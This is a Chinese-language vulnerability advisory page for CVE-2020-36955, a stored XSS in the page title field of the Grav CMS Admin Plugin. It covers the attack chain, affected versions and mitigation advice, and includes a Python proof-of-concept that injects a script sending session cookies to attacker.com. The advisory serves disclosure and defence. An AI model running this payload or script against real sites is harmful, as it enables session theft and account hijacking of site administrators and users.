IPBUF安全漏洞报告
English
CVE-2020-36955 CVSS 6.4 中危

CVE-2020-36955: Grav CMS Admin Plugin页面标题存储型XSS漏洞

披露日期: 2026-01-26

漏洞信息

漏洞编号
CVE-2020-36955
漏洞类型
存储型跨站脚本攻击(Stored XSS)
CVSS评分
6.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Grav CMS 1.6.30, Grav Admin Plugin 1.9.18

相关标签

存储型XSS跨站脚本Grav CMSAdmin PluginCVE-2020-36955内容管理系统认证用户漏洞CVSS 6.4

漏洞概述

CVE-2020-36955是Grav CMS系统中发现的一个中危安全漏洞,存在于Grav CMS 1.6.30版本及其配套的Admin Plugin 1.9.18版本中。该漏洞属于存储型跨站脚本攻击(Stored XSS),允许已认证的低权限攻击者通过页面标题字段注入恶意JavaScript代码。由于恶意脚本被存储在数据库中,当管理员或其他用户在管理面板或前台网站访问受影响页面时,注入的恶意脚本将自动执行。攻击者可利用此漏洞窃取会话Cookie、劫持用户账户、进行钓鱼攻击或在用户浏览器中执行任意操作。受影响系统为开源内容管理系统Grav,该系统广泛应用于个人博客、企业网站和小型Web应用中。由于该漏洞需要认证才能利用,但其影响范围涵盖所有访问受影响页面的用户,因此被评定为CVSS 6.4分的中危漏洞。

技术细节

该漏洞的根本原因在于Grav CMS Admin Plugin在处理页面标题输入时缺乏充分的输入验证和输出编码。当用户在创建或编辑页面时,页面标题字段的内容未经适当过滤即被存储到数据库中,并在后续页面渲染过程中直接输出到HTML页面。具体而言,攻击者首先需要使用低权限账户登录Grav CMS管理后台,然后创建一个新页面或在现有页面的标题字段中注入恶意脚本,例如:<script>alert(document.cookie)</script>。由于系统未对标题内容进行HTML实体编码,当管理员或普通用户访问该页面时,浏览器会将其作为有效脚本执行。攻击者可利用此漏洞获取受害者的认证会话信息,进而可能提升权限或执行其他恶意操作。漏洞影响范围包括管理面板中的页面列表、页面预览功能以及前台网站对页面内容的展示。修复方案应在输入端对用户提交的内容进行严格验证,并在输出端对所有动态内容进行正确的HTML编码。

攻击链分析

STEP 1
步骤1
攻击者获取Grav CMS低权限账户凭据并登录管理后台
STEP 2
步骤2
攻击者创建新页面或编辑现有页面,在页面标题字段中注入恶意JavaScript代码
STEP 3
步骤3
系统将包含XSS payload的页面标题未经过滤存储到数据库中
STEP 4
步骤4
管理员或其他用户访问受影响页面,触发恶意脚本执行
STEP 5
步骤5
恶意脚本窃取用户Cookie、会话令牌或执行其他恶意操作
STEP 6
步骤6
攻击者利用窃取的认证信息劫持用户账户或进行进一步攻击

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2020-36955 PoC - Grav CMS Admin Plugin Stored XSS # Affected Version: Grav CMS <= 1.6.30 with Admin Plugin <= 1.9.18 # This PoC demonstrates the stored XSS vulnerability in page title field import requests import json TARGET_URL = "http://target-grav-site.com" LOGIN_URL = f"{TARGET_URL}/admin" PAGE_URL = f"{TARGET_URL}/admin/pages" # Malicious XSS payload for page title XSS_PAYLOAD = '<script>fetch("https://attacker.com/steal?cookie="+document.cookie)</script>' def login_to_admin(username, password): """Authenticate to Grav CMS admin panel""" session = requests.Session() login_data = { 'user': username, 'pass': password } response = session.post(LOGIN_URL, data=login_data) return session if response.status_code == 200 else None def create_page_with_xss(session): """Create a new page with XSS payload in title field""" page_data = { 'title': XSS_PAYLOAD, 'folder': 'malicious-page', 'content': 'This page contains XSS in the title', 'visible': True, 'routable': True } headers = { 'Content-Type': 'application/json', 'X-Requested-With': 'XMLHttpRequest' } response = session.post(PAGE_URL, json=page_data, headers=headers) return response.status_code == 200 def main(): # Step 1: Login with low-privilege account session = login_to_admin('attacker_user', 'password123') if not session: print("[-] Authentication failed") return print("[+] Successfully authenticated") # Step 2: Create page with XSS payload in title if create_page_with_xss(session): print("[+] Malicious page created successfully") print("[+] XSS payload stored in page title") print("[*] When admin views the page, cookie will be stolen") else: print("[-] Failed to create malicious page") if __name__ == "__main__": main()

影响范围

Grav CMS < 1.6.31
Grav Admin Plugin < 1.9.19

防御指南

临时缓解措施
在官方补丁发布前,可采取以下临时缓解措施:1) 限制Admin Plugin的访问权限,仅允许受信任用户访问管理后台;2) 启用Web应用防火墙(WAF)规则检测和阻止XSS攻击特征;3) 在反向代理层实施输入过滤;4) 定期审查管理面板中的页面内容,及时发现和清除恶意脚本;5) 监控异常的管理员活动和网络流量模式。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表